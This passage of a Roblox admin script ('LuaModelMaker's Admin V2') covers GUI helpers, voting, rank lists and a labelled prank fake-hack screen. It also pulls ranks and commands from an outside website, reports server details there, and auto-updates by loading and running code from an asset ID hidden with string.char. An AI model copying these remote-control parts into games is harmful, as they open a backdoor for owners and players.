		elseif Color == "red" then Body.Text = RestOfBodyText Body.TextColor3 = Color3.new(1,0,0)
		elseif Color == "green" then Body.Text = RestOfBodyText Body.TextColor3 = Color3.new(0,1,0)
		elseif Color == "blue" then Body.Text = RestOfBodyText Body.TextColor3 = Color3.new(0,0,1)
		elseif Color == "yellow" then Body.Text = RestOfBodyText Body.TextColor3 = Color3.new(1,1,0)
		elseif Color == "pink" or Color == "magenta" then Body.Text = RestOfBodyText Body.TextColor3 = Color3.new(1,0,1)
		elseif Color == "cyan" then Body.Text = RestOfBodyText Body.TextColor3 = BrickColor.new("Cyan").Color
		elseif Color == "teal" then Body.Text = RestOfBodyText Body.TextColor3 = BrickColor.new("Teal").Color
		elseif Color == "brown" then Body.Text = RestOfBodyText Body.TextColor3 = Color3.new(0.55,0.25,0.075)
		elseif Color == "purple" then Body.Text = RestOfBodyText Body.TextColor3 = Color3.new(0.5,0,0.5) end
	end

	Drag:TweenPosition(UDim2.new(0.4,MessagePos,0.3,-MessagePos), "In", "Sine", 1, false, function()
		wait(Time)
		if AutoClose == true then
			Close()
		end
	end)

end)() end

function SendHint(Player, Text, Time) coroutine.wrap(function()
	Text = string.sub(Text,1,100)
	local SG,TypeAction,Num = Instance.new("ScreenGui"),nil,0 SG.Name = "LuaMod".."".."elMaker's Admin Hint"
	local Frame = Instance.new("Frame", SG) Frame.Name = "Hint Frame" Frame.Position = UDim2.new(0,0,-0.05,0) Frame.Size = UDim2.new(1,0,0,30) Frame.Style = "RobloxSquare"
	local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.ZIndex = 2 Body.Text = "" Body.BackgroundTransparency = 1 Body.Size = UDim2.new(1,0,1,0) Body.Font = "ArialBold" Body.FontSize = "Size18" Body.TextColor3 = Color3.new(1,1,1)
	for _,Object in pairs(Player.PlayerGui:GetChildren()) do if Object.Name == "LuaMod".."elMaker".."'".."s Admin Hint" then Object:Destroy() end end
	SG.Parent = Player.PlayerGui
	Frame:TweenPosition(UDim2.new(0,0,0.05,0), "In", "Quint", 0.7)
	--Frame.Position = UDim2.new(0,0,0.05,0)
	--wait(0.75)
	TypeAction = Run.Stepped:connect(function(Time, Step)
		Num = Num + 1
		Body.Text = string.sub(Text,1,Num)
		if Num == #Text then
			TypeAction:disconnect()
		end
		wait(Step)
	end)
	wait(Time)
	--Frame.Position = UDim2.new(0,0,-0.05,0)
	Frame:TweenPosition(UDim2.new(0,0,-0.05,0), "Out", "Quint", 0.7)
	wait(0.75)
	SG:Destroy()
end)() end

function MessageAdmins(TitleText, BodyText, Time)
	for _,Player in pairs(Players:GetPlayers()) do
		local PlayerAdmin, PlayerRank = IsAdmin(Player)
		if PlayerAdmin then
			SendMessage(Player, TitleText, BodyText, Time)
		end
	end
end

function Execute(ScriptVar, Parent, Owner, Code) if Parent then
	if ScriptVar ~= nil then
		local NewScript = ScriptVar:Clone()
		NewScript.Code.Value = Code
		NewScript.Owner.Value = Owner
		NewScript.Parent = Parent
		wait()
		NewScript.Disabled = false
		return true, NewScript
	elseif NLS ~= nil then
		NLS(Code, Parent)
		return true, nil
	else
		return false, nil
	end
end end

function ExecuteResource(ResourceName, Parent, Data, Owner, Code, ScriptVar)
	local ReturnScript = nil
	local Executed = true
	if script:FindFirstChild("Resources") then
		local RawResource = script.Resources:FindFirstChild(ResourceName)
		if RawResource then
			local Resource = RawResource:Clone()
			Resource.Disabled = true
			Resource.Parent = Parent
			if Data then
				for Key,Value in pairs(Data) do
					if Resource[Key] then
						Resource[Key].Value = Value
					end
				end
			end
			wait()
			Resource.Disabled = false
			ReturnScript = Resource
		else
			Executed = false
		end
	else
		Executed = false
	end
	if Executed == false then
		if not ScriptVar then ScriptVar = LocalScript end
		if not Code then Code = "" end
		local __, NewExecute = Execute(ScriptVar, Parent, Owner, Code)
		ReturnScript = NewExecute
	end
	return ReturnScript
end

function RestoreCamera(Player)
	if Player.Backpack then
		ExecuteResource("RestoreCamera", Player.Backpack, {}, Player, [[
			Workspace.CurrentCamera.FieldOfView = 70
			Workspace.CurrentCamera.CameraType = Enum.CameraType.Custom
			Workspace.CurrentCamera.CameraSubject = game:GetService("Players").LocalPlayer.Character.Humanoid
		]])
	end
end

function ScanAdminList(Name)
	if Name == "" then return true end
	local InList = false
	for _,PName in pairs(Ranks["Owner"]) do
		if PName == Name then InList = true end
	end
	for _,PName in pairs(Ranks["Admin"]) do
		if PName == Name then InList = true end
	end
	for _,PName in pairs(Ranks["Member"]) do
		if PName == Name then InList = true end
	end
	return InList
end

function ScanExileList(Name)
	if Name == "" then return true end
	local InList = false
	for _,PName in pairs(Ranks["Muted"]) do
		if PName == Name then InList = true end
	end
	for _,PName in pairs(Ranks["Crashed"]) do
		if PName == Name then InList = true end
	end
	for _,PName in pairs(Ranks["Banned"]) do
		if PName == Name then InList = true end
	end
	return InList
end

function GetSplit(String, BetSplit)
	local String1 = ""
	local String2 = ""
	Start1, End1 = string.find(String, BetSplit)
	if End1 then
		String1 = string.sub(String, 1, End1-1)
	end
	if String1 ~= "" then
		String2 = string.sub(String, End1+1)
	end
	return String1, String2
end

function GetImageFormat(ID)
	if ID ~= 1 or ID ~= 0 or ID ~= nil then if type(ID) == "number" then
		local NewID = ID + 1
		for i = 1,100 do
			NewID = NewID -1
			local Product = nil
			ypcall(function() Product = MPS:GetProductInfo(NewID).AssetTypeId end)
			if Product then
				if Product == 1 then
					break
				end
			end
			if i == 100 then NewID = ID end
		end
		return NewID
	end end
end

function GetWebData()
	local Request = nil
	ypcall(function() Request = HS:JSONDecode(HS:GetAsync("http://luammodelmmaker.com/Login/Userdata/"..LinkedAccount..".txt", true)) end)
	return Request
end

function StringToBool(String)
	if String == "true" then
		return true
	else
		return false
	end
end

function SetWebData(Request)
	if Request ~= nil then
		for _,Player in pairs(Request.Ranks.Muted) do if Player ~= "" then if not ScanExileList(Player) then table.insert(Ranks.Muted, Player) end end end
		for _,Player in pairs(Request.Ranks.Crashed) do if Player ~= "" then if not ScanExileList(Player) then table.insert(Ranks.Crashed, Player) end end end
		for _,Player in pairs(Request.Ranks.Banned) do if Player ~= "" then if not ScanExileList(Player) then table.insert(Ranks.Banned, Player) end end end
		for _,Player in pairs(Request.Ranks.Member) do if Player ~= "" then if not ScanAdminList(Player) then table.insert(Ranks.Member, Player) end end end
		for _,Player in pairs(Request.Ranks.Admin) do if Player ~= "" then if not ScanAdminList(Player) then table.insert(Ranks.Admin, Player) end end end
		for _,Player in pairs(Request.Ranks.Owner) do if Player ~= "" then if not ScanAdminList(Player) then table.insert(Ranks.Owner, Player) end end end

		FUN = Request.FUN
		ServerLocked = Request.ServerLocked
		DisableAbuse = Request.DisableAbuse
		Command = Request.Command
		ServerCommand = Request.ServerCommand
		ServerPort = Request.Server
		TimeStamp = Request.TimeStamp
	end
end

local function RemoveAdmin(Speaker)
	local Answer = false
	if not NilPlayer(Speaker) then Answer = YesOrNo(Speaker, "Remove LuaModelMake".."r".."s's Admin?", "Would you like to remove LuaMo".."delMake".."r".."s's Admin? After removing the admin, no one is admin and cannot be re-inserted until the server restarts. Continue?") end
	if Answer == true or NilPlayer(Speaker) then
		for _,Player in pairs(Players:GetPlayers()) do if Player.PlayerGui ~= nil then
			GUI = Player.PlayerGui:FindFirstChild("LMMA Product Gui") if GUI then GUI:Destroy() end
			GUI = Player.PlayerGui:FindFirstChild("LMM Menu Gui") if GUI then GUI:Destroy() end
			GUI = Player.PlayerGui:FindFirstChild("LMM ScrollGui") if GUI then GUI:Destroy() end
		end end
		while wait() do
			Chatted,Ranked,Start,Stopped,FullAdminMenu,AdminMenu = nil,nil,nil,true,nil,nil
			if Module then Module.Disabled = true Module:Destroy() end
			script:ClearAllChildren() script.Disabled = true script:Destroy()
		end
	end
end

function Round(Number)
	if Number >= 0.5 then
		return math.ceil(Number)
	elseif Number < 0.5 then
		return math.floor(Number)
	end
end

local AdminID = MPS:GetProductInfo(string.char(49, 53, 53, 54, 56, 52, 53, 52, 50)).Description

function Vote(VotingPlayers, Sender, Question, Time) coroutine.wrap(function()
	VoteVersion = VoteVersion + 1
	local YesNum,NoNum,NilVote,NoVoteTable,VoteThread = 0,0,0,{},VoteVersion
	if Time > 60 then Time = 60 end
	for _,Player in pairs(VotingPlayers) do if Player.PlayerGui ~= nil then coroutine.wrap(function()
		local Voted = false
		local SG = Player.PlayerGui:FindFirstChild("LMM Admin Vote") if SG then SG:Destroy() end
		SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "LMM Admin Vote"
		local Frame = Instance.new("Frame", SG) Frame.Name = "Vote Frame" Frame.Size = UDim2.new(0.5,0,0.4,0) Frame.Position = UDim2.new(0.25,0,0.25,0) Frame.BackgroundColor3 = Color3.new(1,1,1) Frame.BackgroundTransparency = 0.9
		local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.Size = UDim2.new(1,0,0.2,0) Title.Position = UDim2.new(0,0,0,0) Title.Font = "ArialBold" Title.Text = "Loading..." Title.FontSize = "Size18" Title.TextColor3 = Color3.new(1,1,1) Title.BackgroundTransparency = 1 Title.TextYAlignment = "Top"
		local Q = Instance.new("TextLabel", Frame) Q.Name = "Question" Q.Size = UDim2.new(1,0,0.5,0) Q.Position = UDim2.new(0,0,0.2,0) Q.Font = "Arial" Q.Text = Question Q.FontSize = "Size18" Q.TextColor3 = Color3.new(1,1,1) Q.BackgroundTransparency = 1 Q.TextYAlignment = "Top" Q.TextWrapped = true
		local Answer = Instance.new("TextButton") Answer.Size = UDim2.new(0.2,0,0.15,0) Answer.Font = "Legacy" Answer.FontSize = "Size9"
		local Yes = Answer:Clone() Yes.Parent = Frame Yes.Name = "Yes" Yes.Position = UDim2.new(0,0,0.8,0) Yes.Style = "RobloxButton" Yes.Text = "Yes" Yes.TextColor3 = Color3.new(0,1,0)
		local No = Answer:Clone() No.Parent = Frame No.Name = "No" No.Position = UDim2.new(0.8,0,0.8,0) No.Style = "RobloxButtonDefault" No.Text = "No" No.TextColor3 = Color3.new(1,0,0)
		Yes.MouseButton1Click:connect(function()
			YesNum = YesNum + 1 Voted = true SG:Destroy()
		end)
		No.MouseButton1Click:connect(function()
			NoNum = NoNum + 1 Voted = true SG:Destroy()
		end)
		for i = 0,Time do
			if VoteThread == VoteVersion then
				local Plural = "s"
				if Time-i == 1 then Plural = "" end
				Title.Text = "LMM's Admin Vote | Time left: "..Time-i.." Second"..Plural
			else
				SG:Destroy() break
			end
			wait(1)
		end
		if SG ~= nil then SG:Destroy() end
		if Voted == false then table.insert(NoVoteTable, Player) end
	end)() end end
	wait(Time+2) wait()
	if Sender then
		if Sender.PlayerGui ~= nil then
			NilVote = #NoVoteTable
			local SG = Sender.PlayerGui:FindFirstChild("LMM Admin Vote") if SG then SG:Destroy() end
			SG = Instance.new("ScreenGui", Sender.PlayerGui) SG.Name = "LMM Admin Vote"
			local Frame = Instance.new("Frame", SG) Frame.Name = "Vote Frame" Frame.Size = UDim2.new(0.5,0,0.5,0) Frame.Position = UDim2.new(0.25,0,0.25,0) Frame.BackgroundColor3 = Color3.new(1,1,1) Frame.BackgroundTransparency = 0.9
			local Title,R = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.Size = UDim2.new(1,0,0.1,0) Title.Position = UDim2.new(0,0,0,0) Title.Font = "ArialBold" Title.Text = "Results" Title.FontSize = "Size18" Title.TextColor3 = Color3.new(1,1,1) Title.BackgroundTransparency = 1 Title.TextYAlignment = "Top", nil
			local Q = Instance.new("TextLabel", Frame) Q.Name = "Question" Q.Size = UDim2.new(1,0,0.5,0) Q.Position = UDim2.new(0,0,0.2,0) Q.Font = "Arial" Q.Text = Question Q.FontSize = "Size18" Q.TextColor3 = Color3.new(1,1,1) Q.BackgroundTransparency = 1 Q.TextYAlignment = "Top" Q.TextWrapped = true
			local X = Instance.new("TextButton", Frame) X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Position = UDim2.new(1,-15,0,-5) X.ZIndex = 10 X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,1,1) X.MouseButton1Click:connect(function() SG:Destroy() end)
			R = Instance.new("TextLabel", Frame) R.Size = UDim2.new(1,0,1,0) R.Name = "Yes" R.TextColor3 = Color3.new(0,1,0) R.BackgroundTransparency = 1 R.TextYAlignment = "Bottom" R.TextXAlignment = "Left" R.Font = "ArialBold" R.FontSize = "Size18"
			R = Instance.new("TextLabel", Frame) R.Size = UDim2.new(1,0,1,0) R.Name = "No" R.TextColor3 = Color3.new(1,0,0) R.BackgroundTransparency = 1 R.TextYAlignment = "Bottom" R.TextXAlignment = "Right" R.Font = "ArialBold" R.FontSize = "Size18"
			R = Instance.new("TextLabel", Frame) R.Size = UDim2.new(1,0,1,0) R.Name = "None" R.TextColor3 = Color3.new(1,1,1) R.BackgroundTransparency = 1 R.TextYAlignment = "Bottom" R.TextXAlignment = "Center" R.Font = "ArialBold" R.FontSize = "Size18"
			Frame.Yes.Text = [[Yes:
]]..YesNum.."/"..#VotingPlayers..[[
]]..Round(YesNum/#VotingPlayers*100).."%"
			Frame.None.Text = [[No vote:
]]..NilVote.."/"..#VotingPlayers..[[
]]..Round(NilVote/#VotingPlayers*100).."%"
			Frame.No.Text = [[No:
]]..NoNum.."/"..#VotingPlayers..[[
]]..Round(NoNum/#VotingPlayers*100).."%"
		end
	end
end)() end

function YesOrNo(Player, TitleText, MessageText)
	local Responce = nil
	local SG = Player.PlayerGui:FindFirstChild("MML Ask") if SG then SG:Destroy() end
	SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "M".."ML Ask"
	local Frame = Instance.new("Frame", SG) Frame.Name = "Vote Frame" Frame.Size = UDim2.new(0.5,0,0.4,0) Frame.Position = UDim2.new(0.25,0,0.25,0) Frame.BackgroundColor3 = Color3.new(1,1,1) Frame.BackgroundTransparency = 0.9
	local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.Size = UDim2.new(1,0,0.2,0) Title.Position = UDim2.new(0,0,0,0) Title.Font = "ArialBold" Title.Text = TitleText Title.FontSize = "Size18" Title.TextColor3 = Color3.new(1,1,1) Title.BackgroundTransparency = 1 Title.TextYAlignment = "Top" Title.TextWrapped = true
	local Q = Instance.new("TextLabel", Frame) Q.Name = "Question" Q.Size = UDim2.new(1,0,0.5,0) Q.Position = UDim2.new(0,0,0.2,0) Q.Font = "Arial" Q.Text = MessageText Q.FontSize = "Size18" Q.TextColor3 = Color3.new(1,1,1) Q.BackgroundTransparency = 1 Q.TextYAlignment = "Top" Q.TextWrapped = true
	local Answer = Instance.new("TextButton") Answer.Size = UDim2.new(0.2,0,0.15,0) Answer.Font = "Legacy" Answer.FontSize = "Size9"
	local Yes = Answer:Clone() Yes.Parent = Frame Yes.Name = "Yes" Yes.Position = UDim2.new(0,0,0.8,0) Yes.Style = "RobloxButton" Yes.Text = "Yes" Yes.TextColor3 = Color3.new(0,1,0)
	local No = Answer:Clone() No.Parent = Frame No.Name = "No" No.Position = UDim2.new(0.8,0,0.8,0) No.Style = "RobloxButtonDefault" No.Text = "No" No.TextColor3 = Color3.new(1,0,0)
	Yes.MouseButton1Click:connect(function()
		Responce = true
	end)
	No.MouseButton1Click:connect(function()
		Responce = false
	end)
	repeat wait(0.1) until Responce ~= nil or SG.Parent == nil
	if SG.Parent == nil then
		Responce = false
	end
	SG:Destroy()
	return Responce
end

function FakeHack(Player) coroutine.wrap(function()
	if not Player.PlayerGui then return end
	local FakeText = [[
>SHELL: BEGIN
>RUNCODE:
return {
	local Hack = {"Account", "Tix", "Robux"};
	function Start(Type, Inject, Scan)
		if not Inject then Inject = "In-Game" end
		return {Type, Inject, Scan}
	end
	for Exe,Exploit in pairs(Hack) do
		local IP = Start("In-Game",Exploit,
			BeginScan("PLAYERNAME","Socket",{PLAYERNAME, "Local-ID"};0xPLAYERCONNECT),
			{"LOCAL-IP", "SERVER-IP", "HOST-IP"}
		)
		Start:ExtractData = function() EndScan("RobloxPlayerBeta.exe","Place1","PLAYERNAME") end
		for i = 1,#Injection[2] do
			Log("PlayerData", "ConnectHost", "PLAYERNAME")
		end
		local PlayerProxy = newproxy(true)
		setmetatable(PlayerProxy,Injection[3],{
			__index = function(StealData, ...) local Data = unpack(...)
				return {Data,"IP-KEY-LOG: 'PLAYERNAME'"}
			end;
		})
	end
	Log("HACKED HOST: PLAYERNAME")
}
>HACKED HOST: PLAYERNAME

]]
	local SG = Player.PlayerGui:FindFirstChild("MMA Hack Gui")
	if SG then SG:Destroy() end
	SG = Instance.new("ScreenGui", Player.PlayerGui)
	SG.Name = "MMA Hack Gui"
	local Frame = Instance.new("Frame", SG) Frame.Name = "HackFrame" Frame.BackgroundColor3 = Color3.new(0,0,0) Frame.Position = UDim2.new(0.45,-125,0.4,-100) Frame.Size = UDim2.new(0.1,250,0.1,200)
	local X = Instance.new("TextButton", Frame) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Visible = false X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 X.MouseButton1Click:connect(function() SG:Destroy() end)
	local HT = Instance.new("TextLabel", Frame) HT.Name = "Hack Text" HT.Size = UDim2.new(1,0,1,0) HT.BackgroundTransparency = 1 HT.Font = "ArialBold" HT.FontSize = "Size12" HT.TextColor3 = Color3.new(0,1,0) HT.TextXAlignment = "Left" HT.TextYAlignment = "Bottom" HT.ClipsDescendants = true
	for i = 1,#FakeText do
		HT.Text = string.sub(string.gsub(FakeText, "PLAYERNAME", Player.Name), 1, i)
		if math.random(1,5) == 1 then
			wait()
		end
	end
	HT.Text = string.gsub(FakeText, "PLAYERNAME", Player.Name)
	wait(3)
	HT.Text = HT.Text..[[>INFO: You did not really get hacked, this command is a
fake hack command from LuaModelMaker's Admin V2]]
	X.Visible = true
end)() end

function GetTable(ID)
	return HS:JSONDecode(MPS:GetProductInfo(ID).Description)
end

local OderIDs = GetTable(177215518)
local SoundJSONs = GetTable(197637628)

function UpdateAdmin()
	local UpdateModel = AdminID
	if UpdateModel == 0 then return end
	local NewAdminModel = game:GetService("InsertService"):LoadAsset(UpdateModel)
	local NewAdmin = NewAdminModel:FindFirstChild("LuaModelMaker's Admin")
	if NewAdmin then
		local NewVersion = NewAdmin:FindFirstChild("Version")
		if NewVersion.Value ~= Version.Value then
			if Module then
				Module.Disabled = true
				Module:Destroy()
			end
			local Module = game:GetService("ServerScriptService"):FindFirstChild("LuaModelMaker's Admin Anti-Exploit Module")
			if Module then
				Module.Disabled = true
				Module:Destroy()
			end
			NewAdmin.Disabled = true
			NewAdmin.Parent = Workspace
			if not Settings then
				local NewSettings = NewAdminModel:FindFirstChild("LuaModelMaker's Admin Settings")
				if NewSettings then NewSettings.Parent = Workspace end
			end
			wait() NewAdmin.Disabled = false
			RemoveAdmin()
		else
			NewAdminModel:Destroy()
		end
	end
end

function SendHttpLog(Data, Type, OutputSpeaker, Stopypall)
	local NumType = tonumber(Type)

	if not Type then
		Type = "UNKNOWN"
	end

	if NumType then
		if NumType < 1 or NumType > 5 then
			Type = "UNKNOWN"
		elseif NumType == 1 then
			Type = "NOTIFICATION"
		elseif NumType == 2 then
			Type = "INFORMATION"
		elseif NumType == 3 then
			Type = "WARNING"
		elseif NumType == 4 or Type == true then
			Type = "ERROR"
		elseif NumType == 5 then
			Type = "FATAL"
		end
	end

	local Res = "RED Could not get response"
	local function SendData()
		Res = HS:PostAsync("http://luammodelmmaker.com/Login/SendUserData.php?Data="..HS:UrlEncode("{PLACE: "..string.sub(PlaceName,1,25).." | PORT: "..NS.Port.."}: "..Data).."&DataType="..HS:UrlEncode(string.upper(Type)), "Username="..HS:UrlEncode(LinkedAccount).."&Key="..HS:UrlEncode(DataKey).."&Type=Logs", 2)
	end
	if Stopypcall == true then SendData() else ypcall(SendData) end

	if OutputSpeaker and OutputSpeaker ~= "print" then
		SendMessage(OutputSpeaker, "Http Log Response", Res, 7)
	elseif OutputSpeaker == "print" then
		print(Res)
	end
end

function DownloadUserdata(PrintResponse, Stopypcall)
	local Res = "[]"
	local function GetData()
		Res = HS:PostAsync("http://luammodelmmaker.com/Login/ReturnUserData.php", "Username="..HS:UrlEncode(LinkedAccount).."&DataKey="..HS:UrlEncode(DataKey), 2)
	end
	if Stopypcall == true then GetData() else ypcall(GetData) end
	if PrintResponse then
		print(Res)
	end
	local function DecodeData() Res = HS:JSONDecode(Res) end
	if Stopypcall == true then DecodeData() else ypcall(DecodeData) end
	if type(Res) ~= "table" then Res = {["Logs"] = {Res}, ["Errors"] = {Res}} end
	return Res
end

function ReverseTable(Table)
	if type(Table) ~= "table" then return Table end
	local NewTable = {}
	for Num,Val in pairs(Table) do NewTable[(#Table - Num) + 1] = Val end
	return NewTable
end

function SelectionGui(Player, TitleText, List, LogInput)
	if type(TitleText) == "table" then List = TitleText TitleText = "" end
	if not Player.PlayerGui then return end

	local Selected,Done = {},false

	local SG = Player.PlayerGui:FindFirstChild("LMM".."A Selection") if SG then SG:Destroy() end
	SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "L".."MM".."A Selection"
	local Drag = Instance.new("Frame", SG) Drag.Name = "Drag" Drag.Position = UDim2.new(0.25,25,0,5) Drag.Size = UDim2.new(0.5,-25,0.15,0) Drag.BackgroundColor3 = Color3.new(1,1,1) Drag.BackgroundTransparency = 1 Drag.ZIndex = 3 Drag.Draggable = true Drag.Active = true
	local Main = Instance.new("Frame", Drag) Main.Name = "Main" Main.Position = UDim2.new(0,-25,0,0) Main.Size = UDim2.new(1,0,6.5,0) Main.BackgroundTransparency = 0.9 Main.BackgroundColor3 = Color3.new(1,1,1)
	local Title = Instance.new("TextLabel", Main) Title.Name = "Title" Title.Size = UDim2.new(1,0,0.2,-30) Title.BackgroundColor3 = Color3.new(1, 1, 1) Title.BackgroundTransparency = 1 Title.Text = TitleText Title.Font = "ArialBold" Title.FontSize = "Size24" Title.TextWrapped = true Title.TextColor3 = Color3.new(1, 1, 1)
	local Scroll = Instance.new("ScrollingFrame", Main) Scroll.Name = "Scroll" Scroll.Position = UDim2.new(0,10,0.2,-20) Scroll.Size = UDim2.new(1,-20,0.8,-20) Scroll.BackgroundColor3 = Color3.new(0,0,0) Scroll.BackgroundTransparency = 0.5 Scroll.CanvasSize = UDim2.new(0,0,0,0) Scroll.BottomImage = "http://www.roblox.com/asset/?id=36527089" Scroll.MidImage = "http://www.roblox.com/asset/?id=36527089" Scroll.TopImage = "http://www.roblox.com/asset/?id=36527089"
	local Submit = Instance.new("TextButton", Main) Submit.Name = "Submit" Submit.Position = UDim2.new(1,-90,1,-36) Submit.Size = UDim2.new(0,80,0,35) Submit.BackgroundColor3 = Color3.new(1,1,1) Submit.BackgroundTransparency = 0.7 Submit.Text = "Submit" Submit.Font = "ArialBold" Submit.FontSize = "Size14" Submit.TextStrokeTransparency = 0 Submit.TextStrokeColor3 = Color3.new(0,0,0) Submit.TextColor3 = Color3.new(1,1,1)
	local Cancel = Instance.new("TextButton", Main) Cancel.Name = "Cancel" Cancel.Position = UDim2.new(0,10,1,-36) Cancel.Size = UDim2.new(0,80,0,35) Cancel.BackgroundColor3 = Color3.new(1,1,1) Cancel.BackgroundTransparency = 0.7 Cancel.Text = "Cancel" Cancel.Font = "ArialBold" Cancel.FontSize = "Size14" Cancel.TextStrokeTransparency = 0 Cancel.TextStrokeColor3 = Color3.new(1,0,0) Cancel.TextColor3 = Color3.new(1,1,1)

	Submit.MouseButton1Click:connect(function() SG:Destroy() if LogInput == true then if #Selected >= 1 then Log(Player, "[Selection Input: "..table.concat(Selected, ", ").."]") end end Done = true end)
	Cancel.MouseButton1Click:connect(function() Selected = {} SG:Destroy() Done = true end)

	local NumPos = 0

	for Num,Data in pairs(List) do
		local String,ImageID = nil,"nil"
		if type(Data) == "table" then
			String = tostring(Data[1])
			ImageID = Data[2]
		else String = tostring(Data)
		end
		if type(ImageID) == "number" then ImageID = "http://www.roblox.com/asset/?id="..ImageID else ImageID = tostring(ImageID) end
		if ImageID == "nil" then ImageID = "" end
		if String then
			local Font = "Arial"
			if string.sub(string.lower(String),1,6) == "bold: " then
				Font = "ArialBold"
				String = string.sub(String,7)
			end
			local Content = Instance.new("TextButton", Scroll) Content.AutoButtonColor = false Content.Name = Num Content.Position = UDim2.new(0,75,0,NumPos) Content.Size = UDim2.new(1,0,0,75) Content.BackgroundColor3 = Color3.new(1,1,1) Content.BackgroundTransparency = 1 Content.Font = Font Content.FontSize = "Size18" Content.TextXAlignment = "Left" Content.TextColor3 = Color3.new(1,1,1) Content.TextWrapped = true Content.Text = String
			local ContentImage = Instance.new("ImageButton", Scroll) ContentImage.Name = "ContentImage" ContentImage.AutoButtonColor = false ContentImage.Size = UDim2.new(0,75,0,75) ContentImage.Position = UDim2.new(0,0,0,NumPos) ContentImage.BackgroundColor3 = Color3.new(1,1,1) ContentImage.BackgroundTransparency = 1 ContentImage.Image = ImageID

			local IsSelected = false

			local function MouseIn() if IsSelected == false then Content.BackgroundTransparency = 0.9 ContentImage.BackgroundTransparency = 0.9 end end
			local function MouseOut() if IsSelected == false then Content.BackgroundTransparency = 1 ContentImage.BackgroundTransparency = 1 end end
			local function MouseClick()
				if IsSelected == true then
					IsSelected = false
					for Num,Str in pairs(Selected) do
						if Str == String then table.remove(Selected, Num) break end
					end
					Content.BackgroundTransparency = 0.9 ContentImage.BackgroundTransparency = 0.9
				else
					IsSelected = true
					table.insert(Selected, String)
					Content.BackgroundTransparency = 0.5 ContentImage.BackgroundTransparency = 0.5
				end
			end

			Content.MouseEnter:connect(MouseIn)
			Content.MouseLeave:connect(MouseOut)
			Content.MouseButton1Click:connect(MouseClick)

			ContentImage.MouseEnter:connect(MouseIn)
			ContentImage.MouseLeave:connect(MouseOut)
			ContentImage.MouseButton1Click:connect(MouseClick)

			NumPos = NumPos + 75
		end
	end
	Scroll.CanvasSize = UDim2.new(0,0,0,NumPos)

	repeat wait(0.1) until Done == true
	return Selected
end

function AssetTypeToString(AssetType)
	if AssetType == 1 then return "Image"
	elseif AssetType == 2 then return "T-Shirt"
	elseif AssetType == 3 then return "Audio"
	elseif AssetType == 4 then return "Mesh"
	elseif AssetType == 5 then return "Lua"
	elseif AssetType == 6 then return "HTML"
	elseif AssetType == 7 then return "Text"
	elseif AssetType == 8 then return "Hat"
	elseif AssetType == 9 then return "Place"
	elseif AssetType == 10 then return "Model"
	elseif AssetType == 11 then return "Shirt"
	elseif AssetType == 12 then return "Pants"
	elseif AssetType == 13 then return "Decal"
	elseif AssetType == 16 then return "Avatar"
	elseif AssetType == 17 then return "Head"
	elseif AssetType == 18 then return "Face"
	elseif AssetType == 19 then return "Gear"
	elseif AssetType == 21 then return "Badge"
	elseif AssetType == 22 then return "Group Emblem"
	elseif AssetType == 24 then return "Animation"
	elseif AssetType == 25 then return "Arms"
	elseif AssetType == 26 then return "Legs"
	elseif AssetType == 27 then return "Torso"
	elseif AssetType == 28 then return "Right Arm"
	elseif AssetType == 29 then return "Left Arm"
	elseif AssetType == 30 then return "Left Leg"
	elseif AssetType == 31 then return "Right Leg"
	elseif AssetType == 32 then return "Package"
	elseif AssetType == 33 then return "YouTube Video"
	elseif AssetType == 34 then return "Game Pass"
	elseif AssetType == 38 then return "Plugin"
	elseif AssetType == 0 then return "Product"
	end
	return "Content Invalid"
end

function PromptPurchase(Player, Item, Requester, TeleportAction) coroutine.wrap(function()
	if Player.PlayerGui ~= nil then
		local Valid = ypcall(function() return MPS:GetProductInfo(Item) end)
		if Valid == true then
			if TeleportAction then
				if MPS:GetProductInfo(Item).AssetTypeId ~= 9 then
					Valid = false
				end
			end
		end
		if Valid == true then
			local ItemInfo = MPS:GetProductInfo(Item)
			if ItemInfo.AssetTypeId ~= 5 then
				local CanBuy = true
				local Created = ItemInfo.Created Created = string.gsub(Created, "-", "/") local Stop = string.find(Created, "T") if Stop then Created = string.sub(Created, 1, Stop-1) end
				local Updated = ItemInfo.Updated Updated = string.gsub(Updated, "-", "/") local Stop = string.find(Updated, "T") if Stop then Updated = string.sub(Updated, 1, Stop-1) end
				local SG = Player.PlayerGui:FindFirstChild("LMMA Product Gui") if SG then SG:Destroy() end
				SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "LMMA Product Gui"
				local Frame = Instance.new("Frame", SG) Frame.Name = "Main Frame" Frame.Size = UDim2.new(0.5,0,0.7,0) Frame.Position = UDim2.new(0.25,0,0.15,0) Frame.BackgroundColor3 = Color3.new(1,1,1)
				local Buy = Instance.new("TextButton", Frame) Buy.Name = "Buy" Buy.BackgroundColor3 = Color3.new(0,1,0) Buy.Position = UDim2.new(0.5,0,0.35,0) Buy.Size = UDim2.new(0.5,0,0.1,0) Buy.Font = "Arial" Buy.FontSize = "Size36" Buy.Text = "Buy" Buy.BorderSizePixel = 0
				local PImg = Instance.new("ImageLabel", Frame) PImg.Name = "Product Image" PImg.BackgroundTransparency = 1 PImg.Size = UDim2.new(0.5,0,0.5,0) PImg.Image = "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=420&ht=420&aid="..Item
				local UImg = Instance.new("ImageLabel", Frame) UImg.Name = "User Image" UImg.Size = UDim2.new(0.15,0,0.2,0) UImg.Position = UDim2.new(0.5,0,0.1,0) UImg.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..ItemInfo.Creator.Name
				local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.Size = UDim2.new(0.5,0,0.1,0) Title.Position = UDim2.new(0.5,0,0,0) Title.Font = "ArialBold" Title.BackgroundTransparency = 1 Title.FontSize = "Size14" Title.Text = ItemInfo.Name Title.TextWrapped = true
